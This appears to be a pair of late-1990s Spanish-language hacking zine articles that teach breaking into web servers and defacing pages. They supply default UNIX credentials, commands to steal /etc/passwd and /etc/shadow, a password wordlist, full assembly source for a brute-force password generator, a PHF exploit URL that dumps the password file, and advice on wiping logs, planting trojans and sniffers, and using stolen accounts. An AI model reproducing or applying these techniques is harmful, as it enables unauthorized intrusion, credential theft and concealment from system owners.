"Lo espantoso no es la altura, sino la pendiente. La pendiente donde la mirada se precipita a lo hondo y la mano se extiende hacia la cumbre. Alli es donde se apodera del corazon el vertigo de su doble voluntad." -Federico Nietzsche
1. Introduccion
Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.
Primero deberas entender que andar por ahi borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.
2. Websites
Un website es solamente una computadora llamada servidor
por su capacidad de de realizar diferentes tareas
al mismo tiempo, ejecutando un sistema operativo que generalmente
sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.
2.1 Ganando acceso a un servidor WWW
Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase�a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.
Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atencion al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una direccion IP en lugar de el nombre de dominio.
Si lograste conseguir la direccion IP usa telnet para conectarte a esa direccion. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa direccion con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para entrar necesitas conseguir alguna cuenta
haciendo algo de ingenieria social o intenta con los defaults.
CUENTAS DEFAULTS DE UNIX *
Login: Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona.
3. Cuando se esta adentro
Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc
Para obtener el archivo PASSWD usa el siguiente ejemplo:
($ simboliza el prompt UNIX)
$ ftp
FTP> get /etc/passwd
FTP> quit
Para ver el contenido de el archivo usa el siguiente comando:
$ cat /etc/passwd
Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su
contenido, debera tener la siguiente informacion:
usuario:contrase�a:ID:Grupo:descripcion/nombre:directorio:shell
usuario - Este es el login de algun
usuario.
contrase�a - Es el password de el usuario (encriptada con DES)
ID - Es la identificacion de ese usuario.
grupo - El grupo al que pertenece esta cuenta.
descripcion- El nombre del usuario.
directorio - El directorio de acceso de el usuario.
shell - El shell que procesa los comandos de ese usuario.
Un ejemplo podria ser:
john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john
Nombre de usuario: john
Password encriptado: 234abc56
Usuario numero: 9999
Numero de grupo: 13
Descripcion: John Johnson
Directorio de acceso: /home/dir/john
Shell: /bin/john
Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase�as se encuentran 'sombreadas'.
Si las contrase�as se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow /usuarios/carlos/hack.txt
$ftp
FTP> get /usuarios/carlos/hack.txt
FTP> quit
$rd /usuarios/carlos/hack.txt
Algunas otras maneras de obtener el archivo SHADOW seran
explicadas en otros numeros de RareGaZz.
Ya tengo los passwords encriptados, ahora que?
Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contrase�a del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para poder obtener las contrase�as es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase�as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase�a encriptada.
Algunos programas de este tipo son:
Nombre Palabras por Segundo Computadora
John the
Ripper
5077
586
Starcracker
1300
586
Cracker Jack
1008
586
KillerCracker
350
586
Para conseguir listas de palabras haz FTP a el siguiente
servidor:
warwick.ac.uk
directorio: /pub/cud
Algunas de las palabras mas usadas en contrase�as son:
aaa
academia
ada adrian
aerobics
airplane
albany albatros
albert
alex
alexander algebra
alias
alisa
alpha alphabet
ama
amy
analog anchor
andy
andrea
animal answer
anything
arrow
arthur ass
asshole
athena
atmosphere bacchus
badass
bailey
banana bandit
banks
bass
batman beautiful
beauty
beaver
daniel danny
dave
deb
debbie deborah
december
desire
desperate develop
diet
digital
discovery disney
dog
drought
duncan easy
eatme
edges
edwin egghead
eileen
einstein
elephant elizabeth
ellen
emerald
engine engineer
enterprise
enzyme
euclid evelyn
extension
fairway
felicia fender
finite
format
god hello
idiot
jester
john johnny
joseph
joshua
judith juggle
julia
kathleen
kermit kernel
knight
lambda
larry lazarus
lee
leroy
lewis light
lisa
louis
love lynne
mac
macintosh
mack maggot
martin
marty
marvin matt
master
maurice
maximum merlin
mets
michael
michelle mike
minimum
nicki
nicole rascal
really
rebecca
remote rick
reagan
robot
robotics rolex
ronald
rose
rosebud rosemary
roses
ruben
rules ruth
sal
saxon
scheme scott
secret
sensor
serenity sex
shark
sharon
shit shiva
shuttle
simon
simple singer
single
singing
smile smooch
smother
snatch
snoopy soap
socrates
spit
spring subway
success
summer
super support
surfer
suzanne
tangerine tape
target
taylor
telephone temptation
tiger
tigger
toggle tomato
toyota
trivial
unhappy unicorn
unknown
urchin
utility vicki
virginia
warren
water weenie
whatnot
whitney
will virgin
william
winston
willie wizard
wonbat
yosemite
zap whatnow
Obtuve algunas cuentas, ahora?
Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz
El siguiente programa necesita ser compilado usando
TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser
modificada, es ideal para ataques brutos a la cuenta r00t (Programa Copiado de
Phrack 47)
P A S S W O R D E N G I N E (for IBM
PC's)
by Uncle Armpit
+++++++++++++++++++++++++++++++++++++
Que tan practico es?
Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama�o.
Con el ejemplo proporcionado, passwords empezando en
'aaaaaaa' y terminando en 'zzzzzzz' seran generados.
Como empiezo a usar esta lista de palabras?
Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo a�adiendo la siguiente linea en CONFIG.SYS
device=c:\hackdrv.sys
Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.
Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0
;-----------------------cut
here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw 0c000h
;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db 'aaaaaa',0ah ;<---- 6
caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy:
;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int:
;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab:
;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov si,es:[bx+10h]
mov di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov
cx,numsize+1
;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc
si
;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr [number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah ;send EOF
_exit:
pop si
ret
inc_num endp
at_eof: ; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov
ah,09 ;print
welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "Incremental Password
Generator (c)1995",0ah,0dh
db "Written by Uncle
Armpit",0ah,0dh,0ah,0dh
db "Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
----------------------------------cut here-----------------------------------
Como limpiar tus huellas
Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y borralos o mejor aun editalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi
Edita o borra los siguientes archivos: /etc/syslog
/etc/log
/etc/logs
Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.
Le PompaItor
Hackear Paginas WEB:
* Introducci�n
* Diferencias en los tipos de WEB
* Obteniendo Passwords en el tipo A.
* Obteniendo Passwords en el tipo B.
* Precauciones.
* Sobre el autor
1� INTRODUCI�N
El objetivo de este documento es el
dar a conocer posibles formas de alteraci�n del contenido de una p�gina WEB
por personal no autorizado a ello ( llam�moslo hacking ;)).
No me hago responsable del uso que se
pueda hacer de este documento, pues su �nica finalidad es la de informar, y el
que lo use para otra cosa... lo hace bajo SU entera responsabilidad... � Queda
claro ?, si no te parece bien deja de leer y borra el fichero de tu HD ( disco
duro para los muy novatos...).
Las cosas que se describen en este
fichero no te aseguran �xito seguro, probablemente en la mayor�a de los casos
solo te sirvan para empezar, teniendo que improvisar tu, pero prometo que este
doc. ser� mejor que los que he visto sobre el tema en Internet.
El nivel de este documento es b�sico,
pues no intenta ense�ar todo en un dia, mas que nada saber como empezar a hacer
algo digamos "util".
Nota: A pesar de que podras hacer todo
lo que aqu� pone desde Windows 95 o 98, te recomiendo que pruebes algun Linux
(aunque sea el Trinux, que cabe en 3 disketes x�PPP (www.trinux.org)). Este
documento esta escrito en WORD pk lo tiene todo cristo ( jeje casi todos ilegal
para que se joda Microsoft (con perdon)).
2� DIFERENCIAS ENTRE TIPOS DE WEBs
Creo que para que nos entendamos
mejor, es importante distinguir entre dos clases de WEBs, las webs personales,
que pueden ser modificadas por el usuario propietario mediante su clave (tipo
Geocities, Xoom y los proveedores de acceso a Inet que ofrecen espacio WEB).
El segundo tipo, serian aquellas WEBs,
llamemoslas "principales" de un servidor, que solo pueden ser
modificadas por usuarios con muy altos privilegios (llamemosles "root"
o "administrador").
Pues que bien �no?, y esta
diferenciaci�n tan chorra... �para que vale?... pues la utilizaremos para
diferenciar las formas de hacernos con los passwords que nos dejan
modificarlas... evidentemente no es igual de facil conseguir ser root en un
server que tener una cuenta de usuario... asi que para esto es la diferenciaci�n.
3� OBTENIENDO PASSWORDS DE TIPO A
(USUARIO):
Estos passwords de usuarios,
generalmente no muy cualificados, se caracterizan por ser muy chorras, osea
faciles de recordar, repetidos con los passwords de otras cosas... asi que si la
persona propietaria de las WEB es alguien cercano a ti, puedes empezar provando
algunas palabras que te puedan parecer "interesantes" ( nombre del
perro, mujer, hijos, fecha de nacimiento, lugar de residencia...), pero tampoco
te mates mucho provando pues esto es perder el tiempo muchas veces, asi que si a
los 10 o 11 intentos ( seg�n tu paciencia ) no sale nada, mejor dejes esta
forma ;)
Pero tambi�n seria una buena idea
intentar sacar el password a la "victima" a traves de enga�os y demas
( lo llaman ingenieria social...), por ejemplo puedes ligarte al tio/a y
conseguir que te diga su pass... o tambien puedes intentar meterle un troyano
tipo BO o NETBUS, que te permitiran sacarle las pass, evidentemente no voy a
contar aqu� lo que le tienes que decir a la victima para que te crea... eso
tendras que currelarlo tu un pokito
Ademas, si conseguimos el fichero de
passwords del servidor... ��Estamos de suerte!! Pues generalmente los
passwords de usuario son bastante f�ciles de crackear... solo elige el usuario
y pon el john the ripper a trabajar ( el john es uno de los programas de
cracking de ficheros PASSWD de UNIX mas conocidos, puedes conseguirlo en
www.geocities.com/SiliconValley/Peaks/7837
, si no sabes usarlo... DON�T WORRY, trae ayuda...).
Pero probablemente el problema no sea
el uso del John, sino el conseguir el fichero PASSWD, asi que para eso vamos al
siguiente apartado de este cursillo.
3� OBTENIENDO PASSWORDS DE TIPO B
(root):
Normalmente los administradores de los
servidores no se chupan el dedo, asi que conseguir el fichero o el root
directamente a traves de un exploit ( programa que se aprovecha de un BUG o
agujero en el sistema operativo) no sea una tarea facil.
Lo primero que puedes intentar es
pillar el passwd por el FTP... y cuando eso no te haya funcionado probar el PHF
( escribir la siguiente linea en tu navegador:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd , donde
host.com es el nombre del servidor...), si el phf funcionase ( en estos tiempos
ya suele estar parcheado en casi todos los servidores, asi que si no te sirve no
te deprimas), tendrias en tu pantalla el fichero passwd, pero antes de alegrarte
fijate en algo, si aparece:
root:*:0:0:Charlie
&:/root:/bin/csh
( un asterisco (*) detr�s del nombre
"root" y los dos puntos, tambi�n puede aparecer una equis (x)...),
querra decir que el fichero esta shadow osea que aparte del PASSWD necesitas
otro archivo... el SHADOW, puedes intentar sacarlo con PHF cambiando la palabra
passwd del final de la linea del PHF por la palabra shadow ( para ser un poco
mas explicito puedes jugar con el phf, cambiando de directorio... supongo que te
estaras dando cuenta de c�mo y si no, hay va una pista... "etc" es el
nombre de un directorio ).
Buiino, si lo anterior no ha
funcionado, no te preocupes, a�n tenemos mas bazas que jugar.
Si por cualquier casualidad de la vida
posees una cuenta de usuario en el servidor, puedes intentar hacerte con el
passwd ( y con el shadow si hace falta) a traves de telnet ( prueba con cat o
more , para ver si Dios es tu amigo y puedes editar los archivos...) o, puedes
enterarte del Sistema operativo que usa el server, version ... (enterate tambi�n
de la version del STMP, FTP ...) y vete a buscar exploits ( ya explique antes lo
que son exploits...).
Una vez que lo/s tengas pues... los
pruebas!!! �Sino para que co�o los has cojido?... para provarlos, primero
tendras que compilarlos ( ojo, hay sploits que no hay que compilar, pues
simplemente consisten en teclear unos comandos o algo asi... jeje si tienes algo
de esperiencia seguro que recuerdas algunos viejos compa�eros ;) ).
Un buen sitio para pillar exploits es:
http://www.rootshell.com/
� Y donde los compilo ?, pues o el
propio server ( con gcc ) o en otro con el mismo SO, ojo no puedes compilar
exploits para un SUN en un linux Red Hat ... una vez que lo tengas compilado lo
ejecutas... y a �jugar!
Despues de todo esto, y otro poco por
tu parte seguramente ya tengas root en algun peque�o server para provar...
(recuerda si no tienes mucha soltura... empieza por china o por alli lejotes...
que si te pillan no se meteran mucho contigo �verdad?).
4� PRECAUCIONES
Pues eso... procura no usar cuentas
verdaderas para conectar ( aunque piensa que si dejas huellas... los marrones
seran pal due�o de la cuenta, y eso no esta bien..., asi que cuidado con las
cuentas de internet robadas, solo usar las que sepais que el due�o es un
verdadero hijoputa o algo asi... o mejor si usas servidores
"intermedios" o borras las huellas con algun zapper ( si lo usas
sastamente como un exploit)... ahh, si te kurrelas un root y tal, pues deja
algun sniffer y eso para recoger la cosecha... ( mas ke na no desperdiciar kurro
ya hecho).
5� SOBRE EL AUTOR
Pues el capullo que escribe todo esto
es CHEvARA, individuo que podreis encontrar en el IRC hispano por #scripting,
#hack o #comunistas, cuya WEB por si quieres verla es:
www.geocities.com/SiliconValley/Peaks/7837
y e-mail por si tenes algo que comentar:
Me he decidido a escribir esto
simplemente porque ley un doc sobre el tema tan malo que me dije... por muy mal
que lo haga yo seguro que queda algo mas "util", y aqu� esta, espero
que a alguien le sirva de algo...
CopyRight by CHEvARA �98
Saludos para todos mis colegas del IRC
y para los demas miembros de GHT.
Si quieres poner este doc. en una web o FTP, por favor avisame ( no pedir permiso, sino avisar para que me haga ilu y me emociones y todo eso ... x�P )